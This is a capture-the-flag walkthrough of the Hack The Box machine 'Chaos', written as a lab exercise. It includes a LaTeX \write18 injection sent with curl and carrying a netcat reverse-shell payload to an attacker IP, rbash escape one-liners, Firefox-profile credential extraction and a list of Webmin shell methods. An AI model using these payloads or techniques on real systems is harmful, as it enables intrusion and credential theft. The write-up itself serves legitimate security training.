Home Chaos
Post
Cancel

Chaos

Chaos, an interesting machine designed in the CTF-style, awaits our exploration. Let’s dive right in πŸ’ƒπŸ’ƒπŸ’ƒπŸ’ƒπŸ’ƒ

Key Elements πŸ“–

IMAP

IMAP (Internet message access protocol) allows you to access your email messages wherever you are. Much of the time, it is accessed via the internet. Basically, all email messages are stored on servers. Whenever you check your inbox, your email client contacts the server to connect you with your messages. When you read an email message using IMAP, you aren't actually downloading or storing it on your computer; instead, you are reading it off of the server. As a result, it’s possible to check your email from several different devices without missing a thing. Default port: 143, 993.

POP (post offices protocol) is a type of computer networking and internet standard protocol that extracts and retrieves email from a remote mail account server for that access by host machine. POP is an application layer protocol is the OSI model that provides and users the ability to fetch and receive email. The POP clients generally connect retrieve all messages, store them on the server. There are 3 versions of POP, but POP3 is the most used one. Default port: 110, 995.

Differences between POP3 and IMAP

POP3IMAP
Simple protocol that only allows downloading messages from your inbox to your local computerMuch more advanced and allows the user to see all the folders on the mail server
Port 110, 995 (SSL)Port 143,933 (SSL)
The mail can only be accessed from a single device at a timeMessages can be accessed across multiple devices
To read the mail it has to be downloaded on the local systemThe mail content can be read partially before downloading
The user can not organize mails in the mailbox of the mail serverThe user can organize the emails directly on the mail server
The user can not create, delete or rename email on the mail serverThe user can create, delete or rename an email on the mail server
It is unidirectional i.e. all the changes made on a device do not affect the content present on the serverIt is Bi-directional i.e. all the changes made on the server or device are made on the other side too
It does not allow a user to sync emailsIt allows a user to sync their emails
It is fastIt is slower as compared to POP3
A user can’t search the content of mail before downloading it to the local systemA user can search the content of mail for a specific string before downloading
It has two modes: delete mode and keep mode. In delete mode, the mail is deleted from the mailbox after retrieval. In keep mode, the mail remains in the mailbox after retrievalMultiple redundant copies of the message are kept at the mail server, in case of loss of message of a local server, the mail can still be retrieved
Changes in the mail can be done using local email softwareChanges made to the web interface or email software stay in sync with the server
All the messages are downloaded at onceThe Message header can be viewed prior to downloading
Linux restricted shell bypass

A restricted shell is a shell that block/restricts some of the commands like cd, ls, echo or β€œblock” the environment variables like SHELL, PATH, USER. Sometimes a restricted shell can block the commands with / or the redirecting outputs like >,Β Β». The types of a restricted shell can be: rbash, rksh, rsh. But now why someone want to create a restricted shell? Some examples:

  1. To improve security
  2. To block hackers/ pentesters
  3. Sometimes system administrators create a restricted shell to protect theirselves from dangerous commands
  4. For a CTF challenge

Enumeration Linux Environment Enumeration is the most important part. We need to enumeration the Linux environmental to check what we can do to bypass the rbash: We need to enumerate:

  1. First we must to check for available commands like cd/ls/echo etc.
  2. We must to check for operators like >,Β Β», <, |
  3. We need to check for available programming languages like perl, ruby, python etc.
  4. Which commands we can run as root (sudo -l)
  5. Check for files or commands with SUID perm.
  6. You must to check in what shell you are: echo $SHELL you will be in rbash by 90%
  7. Check for the environmental variables: run env or printenv

Common Exploitation Techniques

  1. If β€œ/” is allowed you can run /bin/sh or /bin/bash
  2. If you can run cp command you can copy the /bin/sh or /bin/bash into your directory
  3. From ftp > !/bin/sh or !/bin/bash
  4. From gdb > !/bin/sh or !/bin/bash
  5. From more/man/less > !/bin/sh or !/bin/bash
  6. From vim > !/bin/sh or !/bin/bash
  7. From rvim: > :python import os; os.system(β€œ/bin/bash)
  8. From scp > scp -S /path/yourscript x y:
  9. From awk > awk β€˜BEGIN {system(β€œ/bin/sh or /bin/bash”)}’
  10. From find > find / -name test -exec /bin/sh or /bin/bash \;

Resolution Flow 🎯

Resolution Flow Graph

Enumeration

Nmap

2 websites and 4 ports associated with email: POP3, IMAP

HTTP

Don’t forget to update your hosts file chaos.htb

Directory brute force on that site found `/wp` and `/wp/wordpress`

Wordpress scan with wpscan identified a user human

Logging in as the user with a weak password, webmail credentials were found

Webmail

Finding other domains with wfuzz found webmail.chaos.htb

After logging into the webmail and checking all folders draft folder 2 attachments were found

Decrypt the message and find the URL

Shell ass www-data

When visiting the URL, it shows a service to create PDFs

Try creating a PDF file and watch the response.

RCE with LaTex

Privesc: www-data to ayush

Using the webmail credentials with su command

rbash Escape

Privesc: ayush to root

At ayush home directory found `.mozilla` has single default profile `bzo7sjt1.default`

Data extraction from a FireFox Profile ⇨ root credentials

Tips and Notes πŸ’₯

Note for directory brute force

The IP and the hostname give diffrent results. It was so easy to miss the /wp path if you just ran against the hostname and not the IP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
β”Œβ”€β”€(kaliγ‰Ώkali)-[~/HTB/Machine/Chaos]
└─$ feroxbuster -u http://chaos.htb/ -n -C 404

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.9.1
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://chaos.htb/
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 πŸ’’  Status Code Filters   β”‚ [404]
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.9.1
 πŸ’‰  Config File           β”‚ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          β”‚ [GET]
 🚫  Do Not Recurse        β”‚ true
 πŸŽ‰  New Version Available β”‚ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
404      GET        -l       32w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      222l      550w     6964c http://chaos.htb/
301      GET        9l       28w      303c http://chaos.htb/js => http://chaos.htb/js/
301      GET        9l       28w      304c http://chaos.htb/css => http://chaos.htb/css/
301      GET        9l       28w      304c http://chaos.htb/img => http://chaos.htb/img/
301      GET        9l       28w      311c http://chaos.htb/javascript => http://chaos.htb/javascript/
301      GET        9l       28w      307c http://chaos.htb/source => http://chaos.htb/source/
403      GET       11l       32w      297c http://chaos.htb/server-status
[####################] - 3m     30000/30000   0s      found:7       errors:126
[####################] - 3m     30000/30000   151/s   http://chaos.htb/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
β”Œβ”€β”€(kaliγ‰Ώkali)-[~/HTB/Machine/Chaos]
└─$ feroxbuster -u http://10.10.10.120/ -n -C 404

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.9.1
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://10.10.10.120/
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 πŸ’’  Status Code Filters   β”‚ [404]
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.9.1
 πŸ’‰  Config File           β”‚ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          β”‚ [GET]
 🚫  Do Not Recurse        β”‚ true
 πŸŽ‰  New Version Available β”‚ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
404      GET        -l       32w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        1l        5w       73c http://10.10.10.120/
301      GET        9l       28w      317c http://10.10.10.120/javascript => http://10.10.10.120/javascript/
301      GET        9l       28w      309c http://10.10.10.120/wp => http://10.10.10.120/wp/
403      GET       11l       32w      300c http://10.10.10.120/server-status
[####################] - 3m     30000/30000   0s      found:4       errors:148
[####################] - 3m     30000/30000   151/s   http://10.10.10.120/
How to decrypt message?

There are two files, enim_msg.txt and en.py. The first is binary, the encrypted message. The second is a python script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def encrypt(key, filename):
    chunksize = 64*1024
    outputFile = "en" + filename
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV =Random.new().read(16)

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, 'rb') as infile:
        with open(outputFile, 'wb') as outfile:
            outfile.write(filesize.encode('utf-8'))
            outfile.write(IV)

            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))

def getKey(password):
    hasher = SHA256.new(password.encode('utf-8'))
    return hasher.digest()

The password is sahay, since the message said to sahay β€œyou are the password”

Decryption is simply mirroring the encryption process

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import os
from Crypto import Random
from Crypto.Cipher import AES
from Crypto.Hash import SHA256

def encrypt(key, filename):
    chunksize = 64*1024
    outputFile = "en" + filename
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV =Random.new().read(16)

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, 'rb') as infile:
        with open(outputFile, 'wb') as outfile:
            outfile.write(filesize.encode('utf-8'))
            outfile.write(IV)

            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))

def getKey(password):
            hasher = SHA256.new(password.encode('utf-8'))
            return hasher.digest()

def decrypt(key, filename):
    chunksize = 64*1024
    outfile = "de" + filename

    with open(filename, 'rb') as infile:
        filesize = int(infile.read(16))
        IV = infile.read(16)
        decryptor = AES.new(key, AES.MODE_CBC, IV)

        with open(outfile, 'wb') as outfile:
            while True:
                chunk = infile.read(chunksize)
                if len(chunk) == 0:
                    break
                outfile.write(decryptor.decrypt(chunk))
            outfile.truncate(filesize)

decrypt(getKey("sahay"), "enim_msg.txt")
LaTeX RCE

With template=test1, you get a log dump that results in failure to create a pdf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
HTTP/1.1 200 OK
Date: Tue, 25 Jul 2023 07:01:10 GMT
Server: Apache/2.4.34 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 3405
Connection: close
Content-Type: text/html; charset=UTF-8


LOG:
This is pdfTeX, Version 3.14159265-2.6-1.40.19 (TeX Live 2019/dev/Debian) (preloaded format=pdflatex)
 \write18 enabled.
entering extended mode
(./7acb2dc39b53be336fe410d1606d71bc.tex
LaTeX2e <2018-04-01> patch level 5
(/usr/share/texlive/texmf-dist/tex/latex/koma-script/scrartcl.cls
Document Class: scrartcl 2018/03/30 v3.25 KOMA-Script document class (article)
(/usr/share/texlive/texmf-dist/tex/latex/koma-script/scrkbase.sty
(/usr/share/texlive/texmf-dist/tex/latex/koma-script/scrbase.sty
(/usr/share/texlive/texmf-dist/tex/latex/graphics/keyval.sty)
(/usr/share/texlive/texmf-dist/tex/latex/koma-script/scrlfile.sty)))
(/usr/share/texlive/texmf-dist/tex/latex/koma-script/tocbasic.sty)
(/usr/share/texlive/texmf-dist/tex/latex/koma-script/scrsize11pt.clo)
(/usr/share/texlive/texmf-dist/tex/latex/koma-script/typearea.sty))
(/usr/share/texlive/texmf-dist/tex/latex/base/fontenc.sty
(/usr/share/texlive/texmf-dist/tex/latex/base/t1enc.def))
(/usr/share/texlive/texmf-dist/tex/latex/jknapltx/sans.sty
(/usr/share/texlive/texmf-dist/tex/latex/base/t1cmss.fd))
(/usr/share/texlive/texmf-dist/tex/generic/babel/babel.sty
(/usr/share/texlive/texmf-dist/tex/generic/babel/switch.def)
(/usr/share/texlive/texmf-dist/tex/generic/babel-english/english.ldf
(/usr/share/texlive/texmf-dist/tex/generic/babel/babel.def
(/usr/share/texlive/texmf-dist/tex/generic/babel/txtbabel.def))))
(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsmath.sty
For additional information on amsmath, use the `?' option.
(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amstext.sty
(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsgen.sty))
(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsbsy.sty)
(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsopn.sty))
(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/amsfonts.sty)
(/usr/share/texlive/texmf-dist/tex/latex/amscls/amsthm.sty)
(/usr/share/texlive/texmf-dist/tex/latex/lipsum/lipsum.sty)
(/usr/share/texlive/texmf-dist/tex/latex/sectsty/sectsty.sty)

Class scrartcl Warning: Usage of package `fancyhdr' together
(scrartcl)              with a KOMA-Script class is not recommended.
(scrartcl)              I'd suggest to use
(scrartcl)              package `scrlayer' or `scrlayer-scrpage', because
(scrartcl)              they support KOMA-Script classes.
(scrartcl)              With `fancyhdr' several features of class `scrartcl'
(scrartcl)              like options `headsepline', `footsepline' or command
(scrartcl)              `\MakeMarkcase' and the commands `\setkomafont' and
(scrartcl)              `\addtokomafont' for the page style elements need
(scrartcl)              explicite user intervention to work.
(scrartcl)              Nevertheless, using requested
(scrartcl)              package `fancyhdr' on input line 34.

(/usr/share/texlive/texmf-dist/tex/latex/fancyhdr/fancyhdr.sty)
No file 7acb2dc39b53be336fe410d1606d71bc.aux.

LaTeX Font Warning: Font shape `T1/cmss/m/sc' in size <10.95> not available
(Font)              Font shape `T1/cmr/m/sc' tried instead on input line 69.

(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsa.fd)
(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsb.fd) [1{/var/lib/texmf/fonts/map/pdftex/updmap/pdftex.map}] (./7acb2dc39b53be336fe410d1606d71bc.aux))
!pdfTeX error: /usr/bin/pdflatex (file ecss1095): Font ecss1095 at 600 not found
 ==> Fatal error occurred, no output PDF file produced!

In the logs, you can see old pfdTex version and \write18 enabled.

\write18 construct allows writing to the 18th file descriptor, which by default is the command line. So if LaTeX is passed somthing of the following format, it will run the command

1
\immediate\write18{[command]}

Get a shell

1
2
β”Œβ”€β”€(kaliγ‰Ώkali)-[~/HTB/Machine/Chaos]
└─$ curl -X POST -d "content=%5Cimmediate%5Cwrite18%7Brm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 10.10.14.8 443 >/tmp/f%7D&template=test3" http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/ajax.php
1
2
3
4
5
6
7
8
9
10
11
β”Œβ”€β”€(kaliγ‰Ώkali)-[~/HTB/Machine/Chaos]
└─$ pwncat-cs -l -p 443
/home/kali/.local/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
  'class': algorithms.Blowfish,
[03:07:12] Welcome to pwncat 🐈!                                              __main__.py:164
[03:07:16] received connection from 10.10.10.120:60248                             bind.py:84
[03:07:20] 0.0.0.0:443: upgrading from /bin/dash to /bin/bash                  manager.py:957
[03:07:22] 10.10.10.120:60248: registered new host w/ db                       manager.py:957
(local) pwncat$
(remote) www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
How to break out of rbash?
1
2
3
4
5
6
7
8
9
10
11
ayush@chaos:/$ tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
bash: groups: command not found
ayush@chaos:/$ cd ~
ayush@chaos:~$ ls
Command 'ls' is available in '/bin/ls'
The command could not be located because '/bin' is not included in the PATH environment variable.
ls: command not found
ayush@chaos:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ayush@chaos:~$ ls
mail  user.txt
How to extract data from FireFox profile?

https://raw.githubusercontent.com/unode/firefox_decrypt/master/firefox_decrypt.py

Some methods to get shell for Webmin
  • Other ⇨ Command Shell: load an overlay with a root shell
  • System ⇨ Change Password: change root password
  • System ⇨ Schedule Cron Jobs: set a cron job
  • System ⇨ Filesystem Backup: arbitrary file modification
  • System ⇨ Scheduled Commands: schedule reverse shell
  • Others ⇨ Custom Commands: add a command for a reverse shell
  • Others ⇨ File Manager: arbitrary file modification
  • Others ⇨ HTTP Tunnel: access to local services
  • Others ⇨ Java File Manager: malicious java module
  • Others ⇨ Perl Modules: malicious perl module
  • Others ⇨ PHP Modules: malicious php module
  • Others ⇨ Upload and Download: arbitrary file modification
This post is licensed under CC BY 4.0 by the author.

Carrier

-